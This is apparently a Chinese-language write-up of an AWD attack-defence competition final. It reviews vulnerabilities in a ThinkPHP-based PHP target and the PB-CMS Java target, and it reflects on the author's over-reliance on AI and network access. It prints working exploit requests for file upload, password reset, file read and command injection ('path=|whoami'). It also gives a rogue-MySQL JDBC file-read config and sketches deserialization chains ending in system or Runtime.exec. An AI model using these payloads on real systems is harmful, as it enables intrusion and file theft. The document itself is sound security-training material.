比赛复盘
本文记录了 2025 年广西网安竞赛 AWD 决赛的实战经历与复盘。本次单人参赛,因过度依赖网络和 AI,在断网环境下无法独立分析代码,导致未能及时发现基础漏洞。
PHP 靶机分析
题目基于 ThinkPHP 框架,存在多个基础漏洞。
漏洞点 1:默认密码
默认密码 admin/likeadmin 可登录。后台登录框限制错误五次锁定 30 分钟,且 MySQL 被锁定,导致爆破受限。
漏洞点 2:任意文件上传
server\app\adminapi\controller\UploadController.php 中的 file() 方法未做严格校验,允许上传任意文件。
POST /adminapi/upload/file HTTP/1.1
Host: 192.168.2.27:8091
token: c44e3426e73f3f7c1a7562ce1cacb962
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="123.php"
Content-Type: image/png
<?php phpinfo();?>
漏洞点 3:未授权访问
前台操作删除管理员 token 后仍可操作,存在未授权重置管理员密码漏洞。
POST /adminapi/auth.admin/edit HTTP/1.1
Host: 127.0.0.1:2998
Content-Type: application/json;charset=UTF-8
{"id":1,"account":"admin","password":"admin1"}
漏洞点 4:任意文件读取
FileController.php 中 read() 方法的 file 参数直接传入 readfile,存在任意文件读取。
POST /adminapi/file/read HTTP/1.1
Host: 127.0.0.1:2998
Content-Type: application/x-www-form-urlencoded
file=E:\test.txt
漏洞点 5:命令执行
call_user_func_array 调用链未过滤,存在 RCE 风险。
漏洞点 6:反序列化
基于 ThinkPHP 框架与 Symfony VarDumper 组件组合的 POP 链。
入口:/api/login/get_account (Cookie: account=...)
利用链涉及 ResourceRegister, Validate, Pivot, Rule 等类。
关键机制在于框架路由解析时遍历 $option 数组,触发 Validate 类的自定义验证类型劫持 system 函数。
namespace think {
class Validate {
protected $type = ["hidden" => "system"];
}
}
Payload 构造需结合 Symfony\Component\VarDumper\Caster\ConstStub 继承 Stub 确保结构保留。
Java 靶机分析
题目为 PB-CMS,Jar 包较大,主要漏洞如下。
漏洞点 1:文件移动与覆盖
TemplateInitController.class 调用 TemplateFileServiceImpl.copyTemplate(),接收 file, target, overwrite 参数,可移动文件到指定目录。
GET /init/template?file=C:/Users/attac/Downloads/1.txt&target=C:/static/
漏洞点 2:命令执行
BlogApiController 获取用户输入的 path 并拼接至命令中,可使用逻辑运算符截断。
POST /blog/api/filelist HTTP/1.1
Content-Type: application/x-www-form-urlencoded
path=|whoami
漏洞点 3:JDBC 连接读文件
通过远程连接 MySQL Fake Server 读取本地文件。
{
"dbDriver": "com.mysql.cj.jdbc.Driver",
"dbUrl": "jdbc:mysql://{ip}:3306/fake_db?allowLoadLocalInfile=true",
"dbUsername": "caonima",
"dbPassword": "hack"
}
漏洞点 4:反序列化
CommentController.backdoor 接口接收 data 参数并反序列化。
BizCommentServiceImpl.deserialize 方法中存在沙箱,仅允许 HashMap 及其子类作为第一个反序列化的类。
绕过方式:第一次调用检查 check=false,第二次及以后 check=true,可加载任意类。
由于依赖包含 Jackson,可利用 ObjectIdGenerator.IdKey 哈希碰撞触发 POJONode.equals,进而调用 TemplatesImpl.getOutputProperties 执行恶意代码。
完整利用链:HashMap::readObject() -> ... -> TemplatesImpl::newTransformer() -> Runtime::exec()。
总结
现场环境需冷静分析,避免遗漏 URL 编码等细节。对比赛后联网解题与现场表现,强调了夯实安全基础、提升离线审计能力的重要性。